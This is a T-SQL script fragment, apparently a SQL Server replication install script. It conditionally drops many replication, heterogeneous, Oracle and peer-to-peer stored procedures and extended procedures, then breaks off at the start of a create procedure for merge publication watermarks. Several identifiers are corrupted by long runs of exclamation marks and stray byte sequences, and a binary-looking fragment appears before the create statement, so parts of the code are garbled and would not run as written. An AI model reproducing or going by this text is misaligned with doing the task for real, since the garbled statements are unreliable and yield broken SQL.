		drop procedure sys.sp_script_reconciliation_insproc

	if object_id(N'sys.sp_script_reconciliation_sinsproc', 'P') is not null
		drop procedure sys.sp_script_reconciliation_sinsproc

    if object_id(N'sys.sp_script_reconciliation_delproc', 'P') is not null
		drop procedure sys.sp_script_reconciliation_delproc

    if object_id(N'sys.sp_script_reconciliation_xdelproc', 'P') is not null
		drop procedure sys.sp_script_reconciliation_xdelproc

    if object_id(N'sys.sp_script_reconciliation_vdelproc', 'P') is not null
		drop procedure sys.sp_script_reconciliation_vdelproc

    if object_id(N'sys.sp_MSscriptcustominsproc', 'P') is not null
		drop procedure sys.sp_MSscriptcustominsproc

    if object_id(N'sys.sp_MSscriptcustomdelproc', 'P') is not null
		drop procedure sys.sp_MSscriptcustomdelproc

    if object_id(N'sys.sp_MSscriptcustomupdproc', 'P') is not null
		drop procedure sys.sp_MSscriptcustomupdproc

    if object_id(N'sys.sp_register_custom_scripting', 'P') is not null
		drop procedure sys.sp_register_custom_scripting

    if object_id(N'sys.sp_unregister_custom_scripting', 'P') is not null
		drop procedure sys.sp_unregister_custom_scripting

    if object_id(N'sys.sp_scriptinsproc', 'P') is not null
		drop procedure sys.sp_scriptinsproc

	if object_id(N'sys.sp_scriptsinsproc', 'P') is not null
		drop procedure sys.sp_scriptsinsproc

    if object_id(N'sys.sp_scriptdelproccore', 'P') is not null
		drop procedure sys.sp_scriptdelproccore
    
    if object_id(N'sys.sp_scriptdelproc', 'P') is not null
		drop procedure sys.sp_scriptdelproc

    if object_id(N'sys.sp_scriptvdelproc', 'P') is not null
		drop procedure sys.sp_scriptvdelproc

    if object_id(N'sys.sp_scriptxdelproc', 'P') is not null
		drop procedure sys.sp_scriptxdelproc

    if object_id(N'sys.sp_scriptupdproc', 'P') is not null
		drop procedure sys.sp_scriptupdproc

    if object_id(N'sys.sp_scriptxupdproc', 'P') is not null
		drop procedure sys.sp_scriptxupdproc

	if object_id(N'sys.sp_scriptsupdproc', 'P') is not null
		drop procedure sys.sp_scriptsupdproc

    if object_id(N'sys.sp_scriptmappedupdproc', 'P') is not null
		drop procedure sys.sp_scriptmappedupdproc

    if object_id(N'sys.sp_scriptdynamicupdproc', 'P') is not null
	        drop procedure sys.sp_scriptdynamicupdproc

    if object_id(N'sys.sp_scriptvupdproc', 'P') is not null
		drop procedure sys.sp_scriptvupdproc

    if object_id(N'sys.sp_scriptupdproccore', 'P') is not null
		drop procedure sys.sp_scriptupdproccore

    if object_id(N'sys.sp_MSscriptmvastablenci', 'P') is not null
		drop procedure sys.sp_MSscriptmvastablenci

    if object_id(N'sys.sp_MSscriptmvastablepkc', 'P') is not null
		drop procedure sys.sp_MSscriptmvastablepkc

    if object_id(N'sys.sp_MSscriptmvastableidx', 'P') is not null
		drop procedure sys.sp_MSscriptmvastableidx

    if object_id(N'sys.sp_MSscriptmvastable', 'P') is not null
		drop procedure sys.sp_MSscriptmvastable

    if object_id(N'sys.sp_browsereplcmds', 'P') is not null
		drop procedure sys.sp_browsereplcmds

    if object_id(N'sys.sp_replshowcmds', 'P') is not null
		drop procedure sys.sp_replshowcmds

    if object_id(N'sys.sp_publication_validation', 'P') is not null
		drop procedure sys.sp_publication_validation

    if object_id(N'sys.sp_MSpublication_validation', 'P') is not null
		drop procedure sys.sp_MSpublication_validation

    if object_id(N'sys.sp_marksubscriptionvalidation', 'P') is not null
		drop procedure sys.sp_marksubscriptionvalidation

    if object_id(N'sys.sp_MSmarksubscriptionvalidation', 'P') is not null
		drop procedure sys.sp_MSmarksubscriptionvalidation

    if object_id(N'sys.sp_article_validation', 'P') is not null
		drop procedure sys.sp_article_validation

    if object_id(N'sys.sp_MSa!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9]WAv<jrticle_validation', 'P') is not null
		drop procedure sys.sp_MSarticle_validation

    if object_id(N'sys.sp_MSdrop_6x_replication_agent', 'P') is not null
		drop procedure sys.sp_MSdrop_6x_replication_agent

    if object_id(N'sys.sp_MSget_article_column_list', 'P') is not null
		drop procedure sys.sp_MSget_article_column_list

    if object_id(N'sys.sp_MSpub_adjust_identity', 'P') is not null
		drop procedure sys.sp_MSpub_adjust_identity

    if object_id(N'sys.sp_helparticledts', 'P') is not null
		drop procedure sys.sp_helparticledts

    if object_id(N'sys.sp_changesubscriptiondtsinfo', 'P') is not null
		drop procedure sys.sp_changesubscriptiondtsinfo

    if object_id(N'sys.sp_script_synctran_commands', 'P') is not null
		drop procedure sys.sp_script_synctran_commands

    if object_id(N'sys.sp_MShelptranconflictpublications', 'P') is not null
		drop procedure sys.sp_MShelptranconflictpublications

    if object_id(N'sys.sp_MShelptranconflictcounts', 'P') is not null
		drop procedure sys.sp_MShelptranconflictcounts

    if object_id(N'sys.sp_MSgettranconflictrow', 'P') is not null
		drop procedure sys.sp_MSgettranconflictrow

    if object_id(N'sys.sp_MSgettrancftsrcrow', 'P') is not null
		drop procedure sys.sp_MSgettrancftsrcrow

    if object_id(N'sys.sp_MSdeletetranconflictrow', 'P') is not null
		drop procedure sys.sp_MSdeletetranconflictrow

    if object_id(N'sys.sp_MSgetpeerconflictrow', 'P') is not null
		drop procedure sys.sp_MSgetpeerconflictrow

    if object_id(N'sys.sp_MSgetpeerwinnerrow', 'P') is not null
		drop procedure sys.sp_MSgetpeerwinnerrow

    if object_id(N'sys.sp_MSdeletepeerconflictrow', 'P') is not null
		drop procedure sys.sp_MSdeletepeerconflictrow

    if object_id(N'sys.sp_MSgetarticlereinitvalue', 'P') is not null
		drop procedure sys.sp_MSgetarticlereinitvalue

    if object_id(N'sys.sp_MSispkupdateinconflict', 'P') is not null
		drop procedure sys.sp_MSispkupdateinconflict

    if object_id(N'sys.sp_MSisnonpkukupdateinconflict', 'P') is not null
		drop procedure sys.sp_MSisnonpkukupdateinconflict

    if object_id(N'sys.sp_dropanonymousagent', 'P') is not null
		drop procedure sys.sp_dropanonymousagent

    if object_id(N'sys.sp_ivindexhasnullcols', 'P') is not null
		drop procedure sys.sp_ivindexhasnullcols

    if object_id(N'sys.sp_replrestart', 'P') is not null
		drop procedure sys.sp_replrestart

    if object_id(N'sys.sp_MSreinit_article', 'P') is not null
		drop procedure sys.sp_MSreinit_article

    if object_id(N'sys.sp_replqueuemonitor', 'P') is not null
		drop procedure sys.sp_replqueuemonitor

    if object_id(N'sys.sp_replsqlqgetrows', 'P') is not null
		drop procedure sys.sp_replsqlqgetrows

    if object_id(N'sys.sp_MSrepl_schema', 'P') is not null
		drop procedure sys.sp_MSrepl_schema

    if object_id(N'sys.sp_MStran_autoproc', 'P') is not null
		drop procedure sys.sp_MStran_autoproc

    if object_id(N'sys.sp_MSpost_auto_proc', 'P') is not null
		drop procedure sys.sp_MSpost_auto_proc

    if object_id(N'sys.sp_MSreplupdateschema', 'P') is not null
		drop procedure sys.sp_MSreplupdateschema

    if object_id(N'sys.sp_MSLockMatchID', 'P') is not null
		drop procedure sys.sp_MSLockMatchID

    if object_id(N'sys.sp_MSdefer_check', 'P') is not null
		drop procedure sys.sp_MSdefer_check

    if object_id(N'sys.sp_MSreenable_check', 'P') is not null
		drop procedure sys.sp_MSreenable_check

    if object_id(N'sys.sp_getqueuedrows', 'P') is not null
		drop procedure sys.sp_getqueuedrows

    if object_id(N'sys.sp_MSprep_exclusive', 'P') is not null
		drop procedure sys.sp_MSprep_exclusive

    if object_id(N'sys.sp_scriptpublicationcustomprocs', 'P') is not null
		drop procedure sys.sp_scriptpublicationcustomprocs

    if object_id(N'sys.sp_MSrepl_scriptpublicationcustomprocs', 'P') is not null
		drop procedure sys.sp_MSrepl_scriptpublicationcustomprocs

    if object_id(N'sys.sp_MSenableobjectsreplication', 'P') is not null
		drop procedure sys.sp_MSenableobjectsreplication

    if object_id(N'sys.sp_MSactivatelogbasedarticleobject', 'P') is not null
        drop procedure sys.sp_MSactivatelogbasedarticleobject

    if object_id(N'sys.sp_MSactivateprocedureexecutionarticleobject', 'P') is not null
        drop procedure sys.sp_MSactivateprocedureexecutionarticleobject

    if object_id(N'sys.sp_MSdodatabasesnapshotinitiation', 'P') is not null
		drop procedure sys.sp_MSdodatabasesnapshotinitiation

    if object_id(N'sys.sp_MSdopartialdatabasesnapshotinitiation', 'P') is not null
		drop procedure sys.sp_MSdopartialdatabasesnapshotinitiation

    if object_id(N'sys.sp_MSenableautonosync', 'P') is not null
		drop procedure sys.sp_MSenableautonosync

    if object_id(N'sys.sp_MSdisableautonosync', 'P') is not null
		drop procedure sys.sp_MSdisableautonosync

    if object_id(N'sys.sp_MSincrementpublicationminautonosynclsn', 'P') is not null
		drop procedure sys.sp_MSincrementpublicationminautonosynclsn

    if object_id(N'sys.sp_MSsetupnosyncsubscriptionwithlsn', 'P') is not null
		drop procedure sys.sp_MSsetupnosyncsubscriptionwithlsn

    if object_id(N'sys.sp_MSaddautonosyncsubscription', 'P') is not null
		drop procedure sys.sp_MSaddautonosyncsubscription

    if object_id(N'sys.sp_MSgeneratenosyncsubscriptionsetupscript', 'P') is not null
		drop procedure sys.sp_MSgeneratenosyncsubscriptionsetupscript

    if object_id(N'sys.sp_MSscriptpublicationcustomprocs', 'P') is not null
		drop procedure sys.sp_MSscriptpublicationcustomprocs

    if object_id(N'sys.sp_scriptpublicationcustomprocs', 'P') is not null
		drop procedure sys.sp_scriptpublicationcustomprocs

    if object_id(N'sys.sp_MSextractlastlsnfrombackup', 'P') is not null
		drop procedure sys.sp_MSextractlastlsnfrombackup

    if object_id(N'sys.sp_MSdumpscripttabletonvarcharmax', 'P') is not null
        drop procedure sys.sp_MSdumpscripttabletonvarcharmax

    if object_id(N'sys.fn_replreplacesinglequote', 'FN') is not null
		drop function sys.fn_replreplacesinglequote

    if object_id(N'sys.fn_replreplacesinglequoteplusprotectstring', 'FN') is not null
		drop function sys.fn_replreplacesinglequoteplusprotectstring

    if object_id(N'sys.fn_sqlvarbasetostr', 'FN') is not null
		drop function sys.fn_sqlvarbasetostr

    if object_id(N'sys.fn_varbintohexsubstring', 'FN') is not null
		drop function sys.fn_varbintohexsubstring

    if object_id(N'sys.fn_varbintohexstr', 'FN') is not null
		drop function sys.fn_varbintohexstr

    if object_id(N'sys.fn_replgetbitmapfromcolid', 'FN') is not null
		drop function sys.fn_replgetbitmapfromcolid

    if object_id('sys.sp_MSscriptpublicationconflicttables', 'P') is not null
        drop procedure sys.sp_MSscriptpublicationconflicttables
    
    if object_id('sys.sp_repltablehasnonpkuniquekey', 'P') is not null
        drop procedure sys.sp_repltablehasnonpkuniquekey

    if object_id('sys.sp_replscriptuniquekeywhereclause', 'P') is not null
        drop procedure sys.sp_replscriptuniquekeywhereclause

    if object_id('sys.sp_repldeletequeuedtran', 'P') is not null
        drop procedure sys.sp_repldeletequeuedtran

    if object_id('sys.sp_getqueuedarticlesynctraninfo', 'P') is not null
        drop procedure sys.sp_getqueuedarticlesynctraninfo

    if object_id('sys.sp_getsqlqueueversion', 'P') is not null
        drop procedure sys.sp_getsqlqueueversion

    --
    -- Heterogenous replication specific sp's
    --
    
	if object_id(N'sys.sp_IHadd_sync_command', 'P') is not null
		drop procedure sys.sp_IHadd_sync_command

	if object_id(N'sys.sp_IHreplflush', 'P') is not null
		drop procedure sys.sp_IHreplflush

	if object_id(N'sys.sp_IHreplincrementlsn', 'P') is not null
		drop procedure sys.sp_IHreplincrementlsn

	if object_id(N'sys.fn_IHgetpubid', 'TF') is not null
		drop function sys.fn_IHgetpubid
    
	if object_id(N'sys.fn_MSr!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9%(v<jepl_getpubid', 'FN') is not null
		drop function sys.fn_MSrepl_getpubid

    if object_id(N'sys.fn_IHGenerateUniqueName', 'FN') is not null
		drop function sys.fn_IHGenerateUniqueName

	if object_id(N'sys.fn_IHPublicationIsTransactional', 'FN') is not null
		drop function sys.fn_IHPublicationIsTransactional

    if object_id(N'sys.sp_IHgetPublicationInfo', 'P') is not null
		drop procedure sys.sp_IHgetPublicationInfo

    if object_id(N'sys.sp_IHgetPublisherInfo', 'P') is not null
		drop procedure sys.sp_IHgetPublisherInfo

    if object_id(N'sys.sp_IHCheckSourceTable', 'P') is not null
		drop procedure sys.sp_IHCheckSourceTable

    if object_id(N'sys.sp_IHVerifyIndex', 'P') is not null
		drop procedure sys.sp_IHVerifyIndex

    if object_id(N'sys.sp_IHVerifyConstraint', 'P') is not null
		drop procedure sys.sp_IHVerifyConstraint

    if object_id(N'sys.sp_IHGenerateUniqueName', 'P') is not null
		drop procedure sys.sp_IHGenerateUniqueName

	if object_id(N'sys.sp_IHarticle_validation', 'P') is not null
		drop procedure sys.sp_IHarticle_validation
        
	if object_id(N'sys.sp_IHpublication_validation', 'P') is not null
		drop procedure sys.sp_IHpublication_validation

	if object_id(N'sys.sp_IHmarksubscriptionvalidation', 'P') is not null
		drop procedure sys.sp_IHmarksubscriptionvalidation

	if object_id(N'sys.sp_IH_LR_GetCacheData', 'P') is not null
		drop procedure sys.sp_IH_LR_GetCacheData
		
    if object_id(N'sys.sp_IHget_loopback_detection', 'P') is not null
		drop procedure sys.sp_IHget_loopback_detection

    if object_id(N'sys.sp_getsubscription_status_hsnapshot', 'P') is not null
		drop procedure sys.sp_getsubscription_status_hsnapshot

    if object_id(N'sys.sp_get_Oracle_publisher_metadata', 'P') is not null
		drop procedure sys.sp_get_Oracle_publisher_metadata

    if object_id(N'sys.sp_MSrepl_get_Oracle_publisher_metadata', 'P') is not null
		drop procedure sys.sp_MSrepl_get_Oracle_publisher_metadata
		
    if object_id(N'sys.sp_MSrepl_get_Oracle_publisher_table', 'P') is not null
		drop procedure sys.sp_MSrepl_get_Oracle_publisher_table
		
    if object_id(N'sys.sp_log_repository_message', 'P') is not null
		drop procedure sys.sp_log_repository_message
		
    if object_id(N'sys.sp_MSrepl_getsubscription_status_hsnapshot', 'P') is not null
		drop procedure sys.sp_MSrepl_getsubscription_status_hsnapshot

    if object_id(N'sys.sp_distagentstatus', 'P') is not null
		drop procedure sys.sp_distagentstatus

	--
	-- Heterogeneous scripting
	--

	if object_id(N'sys.sp_IHScriptIdxFile', 'P') is not null
		drop procedure sys.sp_IHScriptIdxFile

	if object_id(N'sys.sp_IHScriptSchFile', 'P') is not null
		drop procedure sys.sp_IHScriptSchFile

	if object_id(N'sys.sp_IHscriptindexes', 'P') is not null
		drop procedure sys.sp_IHscriptindexes

	if object_id(N'sys.sp_IHscriptprimarykey', 'P') is not null
		drop procedure sys.sp_IHscriptprimarykey

	if object_id(N'sys.sp_IHscripttable', 'P') is not null
		drop procedure sys.sp_IHscripttable

	if object_id(N'sys.sp_IHscriptupdateparams', 'P') is not null
		drop procedure sys.sp_IHscriptupdateparams
	    
	if object_id(N'sys.sp_IHscriptpkwhereclause', 'P') is not null
		drop procedure sys.sp_IHscriptpkwhereclause
	    
	if object_id(N'sys.sp_IHscriptreconwhereclause', 'P') is not null
		drop procedure sys.sp_IHscriptreconwhereclause
	    
	if object_id(N'sys.sp_IHscript_missing_row_check', 'P') is not null
		drop procedure sys.sp_IHscript_missing_row_check

	if object_id(N'sys.sp_schemafilter', 'P') is not null
		drop procedure sys.sp_schemafilter

	if object_id(N'sys.sp_validatecache', 'P') is not null
		drop procedure sys.sp_validatecache

	if object_id(N'sys.sp_MSrepl_validatecache', 'P') is not null
		drop procedure sys.sp_MSrepl_validatecache

	if object_id(N'sys.sp_publisherproperty', 'P') is not null
		drop procedure sys.sp_publisherproperty

	if object_id(N'sys.sp_IHXactSetJob', 'P') is not null
		drop procedure sys.sp_IHXactSetJob

	if object_id(N'sys.sp_helpxactsetjob', 'P') is not null
		drop procedure sys.sp_helpxactsetjob

	if object_id(N'sys.sp_IHValidateRowFilter', 'P') is not null
		drop procedure sys.sp_IHValidateRowFilter

	--
	-- Oracle replication specific sp's
	--
	
    if object_id(N'sys.sp_ORACheckSourceTable', 'P') is not null
		drop procedure sys.sp_ORACheckSourceTable

    if object_id(N'sys.sp_ORACheckAdminPrivileges', 'P') is not null
		drop procedure sys.sp_ORACheckAdminPrivileges

    if object_id(N'sys.sp_CheckOracleAdminPrivileges', 'P') is not null
		drop procedure sys.sp_CheckOracleAdminPrivileges

    if object_id(N'sys.sp_ORACheckLoopbackSupport', 'P') is not null
		drop procedure sys.sp_ORACheckLoopbackSupport
	
    if object_id(N'sys.sp_ORASchemaFilter', 'P') is not null
		drop procedure sys.sp_ORASchemaFilter

    if object_id(N'sys.sp_ORAGetTablespaceInfo', 'P') is not null
		drop procedure sys.sp_ORAGetTablespaceInfo

    if object_id(N'sys.sp_ORAChangeTableSpace', 'P') is not null
		drop procedure sys.sp_ORAChangeTableSpace

    if object_id(N'sys.sp_ORAvalidatecache', 'P') is not null
		drop procedure sys.sp_ORAvalidatecache

	if object_id(N'sys.sp_ORAXactSetJob', 'P') is not null
		drop procedure sys.sp_ORAXactSetJob

	if object_id(N'sys.sp_ORAhelpXactSetJob', 'P') is not null
		drop procedure sys.sp_ORAhelpXactSetJob
		
	if object_id(N'sys.sp_ORASetXactBatching', 'P') is not null
		drop procedure sys.sp_ORASetXactBatching

	if object_id(N'sys.sp_ORAhelpXactBatching', 'P') is not null
		drop procedure sys.sp_ORAhelpXactBatching

	if object_id(N'sys.sp_ORAValidateRowFilter', 'P') is not null
		drop procedure sys.sp_ORAValidateRowFilter

	if object_id(N'sys.sp_ORAmarksubscriptionvalidation', 'P') is not null
		drop procedure sys.sp_ORAmarksubscriptionvalidation

	if object_id(N'sys.sp_ORAaddpublication', 'P') is not null
		drop procedure sys.sp_ORAaddpublication

	if object_id(N'sys.sp_ORAgetcolumndata', 'P') is not null
		drop procedure sys.sp_ORAgetcolumndata

	if object_id(N'sys.sp_ORAaddarticle', 'P') is not null
		drop procedure sys.sp_ORAaddarticle

	if object_id(N'sys.sp_ORAdroppublisher', 'P') is not null
		drop procedure sys.sp_ORAdroppublisher
		
	if object_id(N'sys.sp_ORAdroparticle', 'P') is not null
		drop procedure sys.sp_ORAdroparticle

	if object_id(N'sys.sp_ORAposttracertoken', 'P') is not null
		drop procedure sys.sp_ORAposttracertoken

	if object_id('sys.sp_posttracertoken', 'P') is not null
	    drop procedure sys.sp_posttracertoken
	    
	if object_id('sys.sp_MSrepl_posttracertoken', 'P') is not null
	    drop procedure sys.sp_MSrepl_posttracertoken
    
	if object_id('sys.sp_helptracertokens', 'P') is not null
	    drop procedure sys.sp_helptracertokens

	if object_id('sys.sp_helptracertokenhistory', 'P') is not null
	    drop procedure sys.sp_helptracertokenhistory

	if object_id('sys.sp_deletetracertokenhistory', 'P') is not null
	    drop procedure sys.sp_deletetracertokenhistory

	if object_id('sys.sp_MSaddmqforsubscription', 'P') is not null
	    drop procedure sys.sp_MSaddmqforsubscription

	if object_id('sys.sp_MSdropmqforsubscription', 'P') is not null
	    drop procedure sys.sp_MSdropmqforsubscription

	if object_id('sys.sp_MScleanup_agent_entry', 'P') is not null
	    drop procedure sys.sp_MScleanup_agent_entry

    -- ui procedures moved from instdist

    if object_id('sys.sp_MShelp_publication', 'P') is not null
        drop procedure sys.sp_MShelp_publication

    if object_id('sys.sp_MShelp_profile', 'P') is not null
        drop procedure sys.sp_MShelp_profile

    if object_id('sys.sp_MScheck_pull_access', 'P') is not null
        drop procedure sys.sp_MScheck_pull_access

    -- extended procedures that should be in resource db
    if object_id('sys.xp_createprivatequeue','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_createprivateq!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<9/:%"<jh>8^}p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9(xRv<jueue'

    if object_id('sys.xp_deleteprivatequeue','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_deleteprivatequeue'

    if object_id('sys.sp_replsendtoqueue','local') is not null
		exec sys.sp_dropextendedproc 'sys.sp_replsendtoqueue'

    if object_id('sys.sp_replwritetovarbin','local') is not null
		exec sys.sp_dropextendedproc 'sys.sp_replwritetovarbin'

    if object_id('sys.xp_resetqueue','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_resetqueue'

    if object_id('sys.xp_peekqueue','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_peekqueue'

    if object_id('sys.xp_controlqueueservice','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_controlqueueservice'

    if object_id('sys.xp_displayqueuemesgs','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_displayqueuemesgs'

    if object_id('sys.xp_decodequeuecmd','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_decodequeuecmd'

    if object_id('sys.xp_readpkfromqueue','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_readpkfromqueue'

    if object_id('sys.xp_readpkfromvarbin','local') is not null
		exec sys.sp_dropextendedproc 'sys.xp_readpkfromvarbin'

	-- PeerToPeer replication specific procs
	if object_id(N'sys.sp_MSgetdbversion', 'P') is not null
		drop procedure sys.sp_MSgetdbversion

	if object_id(N'sys.sp_MSpeerdbinfo', 'P') is not null
		drop procedure sys.sp_MSpeerdbinfo

	if object_id(N'sys.sp_MSaddpeerlsn', 'P') is not null
		drop procedure sys.sp_MSaddpeerlsn
		
	if object_id(N'sys.sp_MSupdatepeerlsn', 'P') is not null
		drop procedure sys.sp_MSupdatepeerlsn

	if object_id(N'sys.sp_MSgetpeerlsns', 'P') is not null
		drop procedure sys.sp_MSgetpeerlsns

	if object_id(N'sys.sp_MSaddsubscriptionarticles', 'P') is not null
		drop procedure sys.sp_MSaddsubscriptionarticles

	if object_id(N'sys.sp_MSvalidatepeertopeerpublication', 'P') is not null
		drop procedure sys.sp_MSvalidatepeertopeerpublication

	if object_id(N'sys.sp_MSvalidatepeertopeerarticles', 'P') is not null
		drop procedure sys.sp_MSvalidatepeertopeerarticles

	if object_id(N'sys.sp_MSdetectinvalidpeerconfiguration', 'P') is not null
		drop procedure sys.sp_MSdetectinvalidpeerconfiguration

	if object_id(N'sys.sp_MSdetectinvalidpeersubscription', 'P') is not null
		drop procedure sys.sp_MSdetectinvalidpeersubscription

	if object_id(N'sys.sp_MSdetectinvalidaddarticle', 'P') is not null
		drop procedure sys.sp_MSdetectinvalidaddarticle
		
	if object_id(N'sys.sp_MSgetpeertopeercommands', 'P') is not null
		drop procedure sys.sp_MSgetpeertopeercommands
		
	if object_id(N'sys.sp_MSpeertopeerfwdingexec', 'P') is not null
		drop procedure sys.sp_MSpeertopeerfwdingexec

	if object_id(N'sys.sp_MSexecwithlsnoutput', 'P') is not NULL
		drop procedure sys.sp_MSexecwithlsnoutput
		
	if object_id(N'sys.sp_requestpeerresponse', 'P') is not NULL
		drop procedure sys.sp_requestpeerresponse

	if object_id(N'sys.sp_MSpeersendresponse', 'P') is not NULL
		drop procedure sys.sp_MSpeersendresponse

	if object_id(N'sys.sp_MSpeerapplyresponse', 'P') is not NULL
		drop procedure sys.sp_MSpeerapplyresponse

	if object_id(N'sys.sp_requestpeertopologyinfo', 'P') is not NULL
		drop procedure sys.sp_requestpeertopologyinfo

	if object_id(N'sys.sp_MSpeersendtopologyinfo', 'P') is not NULL
		drop procedure sys.sp_MSpeersendtopologyinfo

	if object_id(N'sys.sp_MSpeerapplytopologyinfo', 'P') is not NULL
		drop procedure sys.sp_MSpeerapplytopologyinfo

	if object_id(N'sys.sp_gettopologyinfo', 'P') is not NULL
		drop procedure sys.sp_gettopologyinfo

	if object_id(N'sys.sp_addlogreader_agent', 'P') is not NULL
		drop procedure sys.sp_addlogreader_agent

	if object_id(N'sys.sp_MSrepl_addlogreader_agent', 'P') is not NULL
		drop procedure sys.sp_MSrepl_addlogreader_agent

	if object_id(N'sys.sp_changelogreader_agent', 'P') is not NULL
		drop procedure sys.sp_changelogreader_agent
		
	if object_id(N'sys.sp_MSrepl_changelogreader_agent', 'P') is not NULL
		drop procedure sys.sp_MSrepl_changelogreader_agent

	if object_id(N'sys.sp_helplogreader_agent', 'P') is not NULL
			drop procedure sys.sp_helplogreader_agent

	if object_id(N'sys.sp_MSrepl_helplogreader_agent', 'P') is not NULL
		drop procedure sys.sp_MSrepl_helplogreader_agent
	
	if object_id('sys.sp_helppeerrequests', 'P') is not NULL
		drop procedure sys.sp_helppeerrequests

	if object_id('sys.sp_helppeerresponses', 'P') is not NULL
		drop procedure sys.sp_helppeerresponses

	if object_id('sys.sp_deletepeerrequesthistory', 'P') is not NULL
		drop procedure sys.sp_deletepeerrequesthistory

	if object_id('sys.sp_MScheckgenerate_originatorid', 'P') is not NULL
              drop procedure sys.sp_MScheckgenerate_originatorid

	if object_id('sys.sp_MSchange_originatorid', 'P') is not NULL
              drop procedure sys.sp_MSchange_originatorid

	if object_id('sys.sp_MSgetpeerconflictname', 'P') is not NULL
              drop procedure sys.sp_MSgetpeerconflictname 
              
	if object_id('sys.fn_peerconflicttablename', 'FN') is not NULL
              drop function sys.fn_peerconflicttablename 

	if object_id('sys.sp_MSmakepeerconflicttable', 'P') is not NULL
              drop procedure sys.sp_MSmakepeerconflicttable
		
	if object_id('sys.sp_configure_peerconflictdetection', 'P') is not NULL
		drop procedure sys.sp_configure_peerconflictdetection

	if object_id('sys.sp_MSscriptpeerconflictdetection_tableaug', 'P') is not NULL
		drop procedure sys.sp_MSscriptpeerconflictdetection_tableaug

	if object_id('sys.sp_peerconflictdetection_tableaug', 'P') is not NULL
		drop procedure sys.sp_peerconflictdetection_tableaug

	if object_id('sys.sp_MSscriptpeerconflictdetection_customprocs', 'P') is not NULL
		drop procedure sys.sp_MSscriptpeerconflictdetection_customprocs

	if object_id('sys.sp_help_peerconflictdetection', 'P') is not NULL
		drop procedure sys.sp_help_peerconflictdetection

	if object_id('sys.sp_MSpeerconflictdetection_topology_applyresponse', 'P') is not NULL
		drop procedure sys.sp_MSpeerconflictdetection_topology_applyresponse

	if object_id('sys.sp_MSscriptpeerconflictdetection_topology_sendresponse', 'P') is not NULL
		drop procedure sys.sp_MSscriptpeerconflictdetection_topology_sendresponse

	if object_id('sys.sp_MSpeerconflictdetection_topology_sendrequest', 'P') is not NULL
		drop procedure sys.sp_MSpeerconflictdetection_topology_sendrequest

	if object_id('sys.sp_MSpeerconflictdetection_statuscollection_applyresponse', 'P') is not NULL
		drop procedure sys.sp_MSpeerconflictdetection_statuscollection_applyresponse

	if object_id('sys.sp_MSpeerconflictdetection_statuscollection_sendresponse', 'P') is not NULL
		drop procedure sys.sp_MSpeerconflictdetection_statuscollection_sendresponse

	if object_id('sys.sp_MSpeerconflictdetection_statuscollection_sendrequest', 'P') is not NULL
		drop procedure sys.sp_MSpeerconflictdetection_statuscollection_sendrequest

	if object_id('sys.sp_replrethrow', 'P') is not NULL
		drop procedure sys.sp_replrethrow

	if object_id('sys.fn_replp2pversiontotranid', 'FN') is not NULL
              drop function sys.fn_replp2pversiontotranid 

	if object_id('sys.fn_replvarbintoint', 'FN') is not NULL
              drop function sys.fn_replvarbintoint 

	if object_id(N'sys.sp_addpushsubscription_agent', 'P') is not null
		drop procedure sys.sp_addpushsubscription_agent

	if object_id(N'sys.sp_MSrepl_addpushsubscription_agent', 'P') is not null
		drop procedure sys.sp_MSrepl_addpushsubscription_agent

	if object_id('sys.sp_MScleanup_peer_metadata', 'P') is not NULL
		drop procedure sys.sp_MScleanup_peer_metadata

	if object_id('sys.sp_scriptupdmoderefresh', 'P') is not NULL
		drop procedure sys.sp_scriptupdmoderefresh

	if object_id(N'sys.sp_setsubscriptionxactseqno', 'P') is not null
    	drop procedure sys.sp_setsubscriptionxactseqno

 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p<
F{0Z 	8
create procedure sys.sp_MSresetwatermarksforalternatepublishers (
    @pubid    uniqueidentifier )
    AS
    declare @retcode         int
    declare @publisher        sysname
    declare @publisher_db    sysname
    declare @publication    sysname


    set @retcode= 0

    declare @altpub table
    (
        altpubid                uniqueidentifier not null,
        alternate_publisher        sysname collate database_default not null,     
        alternate_publisher_db    sysname collate database_default not null,     
        alternate_publication    sysname collate database_default not null,     
        recgen                    bigint null,
        recguid                    uniqueidentifier null
    )

    select @publisher= publisher, @publisher_db= publisher_db, @publication= name from dbo.sysmergepublications where pubid = @pubid

    -- Get alternate pubid, alternate publisher, alternate publisher db,
    -- alternate publication for the current publication.
